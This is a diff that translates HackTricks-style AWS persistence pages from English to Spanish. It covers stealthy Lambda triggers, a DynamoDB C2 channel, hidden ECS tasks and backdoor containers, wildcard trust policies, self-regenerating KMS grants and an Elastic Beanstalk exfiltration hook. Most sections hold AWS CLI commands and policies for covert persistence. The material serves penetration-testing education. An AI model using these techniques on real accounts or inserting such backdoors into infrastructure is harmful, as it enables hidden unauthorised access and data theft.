-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### Disparadores de DynamoDB con puerta trasera de Lambda
+Usando disparadores de DynamoDB, un atacante puede crear una **puerta trasera sigilosa** al asociar una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se añade, modifica o elimina un ítem, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
+--function-name MaliciousFunction \
+--event-source \
+--region
```
+Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla de DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda.
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+### DynamoDB como un Canal C2
+Un atacante puede usar una tabla de DynamoDB como un **canal de comando y control (C2)** creando elementos que contengan comandos y utilizando instancias comprometidas o funciones Lambda para recuperar y ejecutar estos comandos.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region
# Insert a command into the table
aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
- --region
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region
```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+Las instancias comprometidas o funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..c6a8ca00a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -4,55 +4,51 @@
## EC2
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Security Group Connection Tracking Persistence
+### Persistencia de Seguimiento de Conexiones del Grupo de Seguridad
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+Si un defensor descubre que una **instancia de EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Podría hacer esto con un **Deny NACL** explícito (pero los NACL afectan a toda la subred), o **cambiando el grupo de seguridad** para no permitir **ningún tipo de tráfico entrante o saliente**.
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será eliminada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-### EC2 Lifecycle Manager
+### Administrador del Ciclo de Vida de EC2
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+Este servicio permite **programar** la **creación de AMIs y snapshots** e incluso **compartirlos con otras cuentas**.\
+Un atacante podría configurar la **generación de AMIs o snapshots** de todas las imágenes o todos los volúmenes **cada semana** y **compartirlos con su cuenta**.
-### Scheduled Instances
+### Instancias Programadas
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+Es posible programar instancias para que se ejecuten diariamente, semanalmente o incluso mensualmente. Un atacante podría ejecutar una máquina con altos privilegios o acceso interesante donde podría acceder.
-### Spot Fleet Request
+### Solicitud de Flota Spot
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+Las instancias spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot inicia** y la **dirección IP** y con un **rol IAM de alto privilegio**.
-### Backdoor Instances
+### Instancias de Puerta Trasera
-An attacker could get access to the instances and backdoor them:
+Un atacante podría acceder a las instancias y ponerles una puerta trasera:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- Usando un **rootkit** tradicional, por ejemplo
+- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Poniendo una puerta trasera en el **User Data**
-### **Backdoor Launch Configuration**
+### **Configuración de Lanzamiento de Puerta Trasera**
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- Poner una puerta trasera en el AMI utilizado
+- Poner una puerta trasera en el User Data
+- Poner una puerta trasera en el Par de Claves
### VPN
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+Crea una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC.
-### VPC Peering
+### Peering de VPC
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+Crea una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..2c9f93271 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,98 +4,88 @@
## ECR
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
-### Hidden Docker Image with Malicious Code
+### Imagen de Docker Oculta con Código Malicioso
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener la persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
+### Política del Repositorio
+Agrega una política a un solo repositorio otorgándote a ti mismo (o a todos) acceso a un repositorio:
```bash
aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
# With a .json such as
{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
}
```
-
> [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> Tenga en cuenta que ECR requiere que los usuarios tengan **permiso** para hacer llamadas a la **`ecr:GetAuthorizationToken`** API a través de una política IAM **antes de que puedan autenticarse** en un registro y subir o bajar imágenes de cualquier repositorio de Amazon ECR.
-### Registry Policy & Cross-account Replication
+### Política de Registro y Replicación entre Cuentas
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesita **indicar la cuenta externa** en la que desea replicar el registro.
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+Primero, necesita dar acceso a la cuenta externa sobre el registro con una **política de registro** como:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-
-Then apply the replication config:
-
+Luego aplica la configuración de replicación:
```bash
aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
# Having the .json a content such as:
{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..2c6d71352 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,29 +4,28 @@
## ECS
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
-### Hidden Periodic ECS Task
+### Tarea Periódica Oculta de ECS
> [!NOTE]
> TODO: Test
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
-
+Un atacante puede crear una tarea periódica oculta de ECS utilizando Amazon EventBridge para **programar la ejecución de una tarea maliciosa periódicamente**. Esta tarea puede realizar reconocimiento, exfiltrar datos o mantener persistencia en la cuenta de AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
- {
- "Id": "malicious-ecs-task-target",
- "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
- "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
- "EcsParameters": {
- "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
- "TaskCount": 1
- }
- }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
]'
```
-
-### Backdoor Container in Existing ECS Task Definition
+### Contenedor de puerta trasera en la definición de tarea ECS existente
> [!NOTE]
-> TODO: Test
-
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
+> TODO: Probar
+Un atacante puede agregar un **contenedor de puerta trasera sigiloso** en una definición de tarea ECS existente que se ejecute junto a contenedores legítimos. El contenedor de puerta trasera puede ser utilizado para persistencia y realizar actividades maliciosas.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
- {
- "name": "legitimate-container",
- "image": "legitimate-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- },
- {
- "name": "backdoor-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": false
- }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
]'
```
-
-### Undocumented ECS Service
+### Servicio ECS No Documentado
> [!NOTE]
-> TODO: Test
-
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
+> TODO: Probar
+Un atacante puede crear un **servicio ECS no documentado** que ejecute una tarea maliciosa. Al establecer el número deseado de tareas a un mínimo y deshabilitar el registro, se vuelve más difícil para los administradores notar el servicio malicioso.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..c20243478 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -4,22 +4,18 @@
## EFS
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modify Resource Policy / Security Groups
+### Modificar la Política de Recursos / Grupos de Seguridad
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+Modificando la **política de recursos y/o grupos de seguridad** puedes intentar persistir tu acceso al sistema de archivos.
-### Create Access Point
+### Crear Punto de Acceso
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+Podrías **crear un punto de acceso** (con acceso root a `/`) accesible desde un servicio donde hayas implementado **otra persistencia** para mantener el acceso privilegiado al sistema de archivos.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..0d9a3966f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -1,34 +1,33 @@
-# AWS - Elastic Beanstalk Persistence
+# AWS - Persistencia en Elastic Beanstalk
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistence in Instance
+### Persistencia en la Instancia
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+Con el fin de mantener la persistencia dentro de la cuenta de AWS, se podría **introducir algún mecanismo de persistencia dentro de la instancia** (tarea programada, clave ssh...) para que el atacante pueda acceder a ella y robar las **credenciales del rol IAM desde el servicio de metadatos**.
-### Backdoor in Version
+### Puerta trasera en la Versión
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+Un atacante podría insertar una puerta trasera en el código dentro del repositorio S3 para que siempre ejecute su puerta trasera y el código esperado.
-### New backdoored version
+### Nueva versión con puerta trasera
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera.
-### Abusing Custom Resource Lifecycle Hooks
+### Abusando de los Hooks del Ciclo de Vida de Recursos Personalizados
> [!NOTE]
-> TODO: Test
-
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
+> TODO: Probar
+Elastic Beanstalk proporciona hooks de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un hook de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
- AWSEBAutoScalingGroup:
- Metadata:
- AWS::ElasticBeanstalk::Ext:
- TriggerConfiguration:
- triggers:
- - name: stealthy-lifecycle-hook
- events:
- - "autoscaling:EC2_INSTANCE_LAUNCH"
- - "autoscaling:EC2_INSTANCE_TERMINATE"
- target:
- ref: "AWS::ElasticBeanstalk::Environment"
- arn:
- Fn::GetAtt:
- - "AWS::ElasticBeanstalk::Environment"
- - "Arn"
- stealthyLifecycleHook:
- Type: AWS::AutoScaling::LifecycleHook
- Properties:
- AutoScalingGroupName:
- Ref: AWSEBAutoScalingGroup
- LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
- NotificationTargetARN:
- Ref: stealthy-lifecycle-hook
- RoleARN:
- Fn::GetAtt:
- - AWSEBAutoScalingGroup
- - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..466e0a6d1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,50 +4,44 @@
## IAM
-For more information access:
+Para más información accede a:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### Common IAM Persistence
+### Persistencia Común de IAM
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- Crear un usuario
+- Agregar un usuario controlado a un grupo privilegiado
+- Crear claves de acceso (del nuevo usuario o de todos los usuarios)
+- Otorgar permisos adicionales a usuarios/grupos controlados (políticas adjuntas o políticas en línea)
+- Deshabilitar MFA / Agregar tu propio dispositivo MFA
+- Crear una situación de Cadena de Roles (más sobre esto a continuación en la persistencia de STS)
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### Políticas de Confianza de Rol de Puerta Trasera
+Podrías crear una puerta trasera en una política de confianza para poder asumirla para un recurso externo controlado por ti (o para todos):
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": ["*", "arn:aws:iam::123213123123:root"]
- },
- "Action": "sts:AssumeRole"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
}
```
+### Versión de Política de Puerta Trasera
-### Backdoor Policy Version
+Otorgar permisos de Administrador a una política que no sea su última versión (la última versión debe parecer legítima), luego asignar esa versión de la política a un usuario/grupo controlado.
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+### Puerta Trasera / Crear Proveedor de Identidad
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían aumentarse para que el atacante pueda abusar de ellas.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..99c6f65f1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,40 +4,34 @@
## KMS
-For mor information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
-### Grant acces via KMS policies
+### Conceder acceso a través de políticas de KMS
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de Privesc de KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para más información.
-### Eternal Grant
+### Concesión Eterna
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+Las concesiones son otra forma de dar a un principal algunos permisos sobre una clave específica. Es posible dar una concesión que permita a un usuario crear concesiones. Además, un usuario puede tener varias concesiones (incluso idénticas) sobre la misma clave.
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+Por lo tanto, es posible que un usuario tenga 10 concesiones con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 concesión, se deberían generar otras 10.
+(Estamos usando 10 y no 2 para poder detectar que se eliminó una concesión mientras el usuario aún tiene alguna concesión)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
+--key-id \
+--grantee-principal \
+--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id
```
-
> [!NOTE]
-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Un grant puede otorgar permisos solo desde esto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..c090f6b44 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,68 +1,64 @@
-# AWS - Lambda Persistence
+# AWS - Persistencia de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
-For more information check:
+Para más información, consulta:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Persistencia de Lambda Layer
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Persistencia de Extensiones de Lambda
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
-### Via resource policies
+### A través de políticas de recursos
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actualizar código) a cuentas externas:
-### Versions, Aliases & Weights
+### Versiones, Alias y Pesos
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\
+Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\
+De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
-### Version Backdoor + API Gateway
+### Backdoor de Versión + API Gateway
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Copia el código original de la Lambda
+2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
+1. Llama al API gateway relacionado con la lambda para ejecutar el código
+3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST.
+1. Esto ocultará el código con backdoor en una versión anterior
+4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1::function::1`
+1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con backdoor en este escenario).
+5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`**
+6. Ahora, cuando **llames a la función vía POST, tu Backdoor** será invocado
-### Cron/Event actuator
+### Actuador Cron/Event
